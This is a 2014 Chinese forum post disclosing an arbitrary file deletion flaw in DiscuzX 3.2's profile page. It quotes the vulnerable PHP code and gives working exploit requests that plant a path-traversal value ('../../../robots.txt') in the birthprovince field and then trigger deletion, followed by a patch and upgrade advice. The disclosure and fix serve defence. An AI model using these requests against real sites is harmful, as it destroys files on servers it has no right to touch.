Discuz教程网

DiscuzX 任意文件删除漏洞

[复制链接]
authicon dly 发表于 2014-10-6 20:05:14 | 显示全部楼层 |阅读模式
漏洞实际上是任意文件删除,但是由于删除的函数容易被定位,所以不方便写在简要描述或标题内。

昨天下载DiscuzX 3.2的代码,在

source/include/spacecp/spacecp_profile.php 中找到以下代码:
  1. if($_GET['deletefile'] && is_array($_GET['deletefile'])) {

  2.         foreach($_GET['deletefile'] as $key => $value) {

  3.                 if(isset($_G['cache']['profilesetting'][$key])) {

  4.                         @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

  5.                         @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);

  6.                         $verifyarr[$key] = $setarr[$key] = '';

  7.                 }

  8.         }

  9. }
复制代码
往上跟发现$_GET['deletefile']没有任何处理,$space[$key]来自
  1. $space = getuserbyuid($_G['uid']);

  2. space_merge($space, 'field_home');

  3. space_merge($space, 'profile');
复制代码
所以我们需要在$space变量中找到一个存在需要被删除的文件的位置,我用的字段是birthprovince

我们第一次在birthprovince里加上我们要删除的文件然后保存资料,下次我们提交$_GET['deletefile'][birthprovince],那么$space[birthprovince]指向的文件就会被删除。
也就是说,我们提交birthprovince为../../../robots.txt

保存完之后,数据库里的$space['birthprovice']会成为../../../robots.txt,当我们提交$_GET['deletefile'][birthprovince]的时候,会去删除$space['birthprovice']指向的文件。

操作步骤:

那么登陆后提交:

birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0

注意,85cf7ef0是你的formhash。

https://www.discuz.1314study.com/home.php?mod=spacecp&ac=profile&op=base

提示保存成功

这个时候你的birthprovince就是../../../robots.txt,产生的$space['birthprovince']就是../../../robots.txt了。

接下来我们来进行参数的操作,提交:

birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0



https://www.discuz.1314study.com/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa

OK,文件就被顺利删除了。
修复方案:

检查下deletefile指向的key是不是自定义字段里允许FILES的字段。

打开:source\include\spacecp\spacecp_profile.php找到:
  1. foreach($_GET['deletefile'] as $key => $value) {
复制代码

把他下面一行的
  1. if(isset($_G['cache']['profilesetting'][$key])) {
复制代码
修改为
  1. if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
复制代码


DiscuzX 3.2用户可以直接升级到Discuz! X3.2 正式版【2014-06-18】,或者更高版本



上一篇:《对话》 20140921 中学变形记
下一篇:分享一个最牛的仿hao123上网导航源码下载,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1314学习网 ( 浙ICP备10214163号 )

GMT+8, 2025-5-2 01:58

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表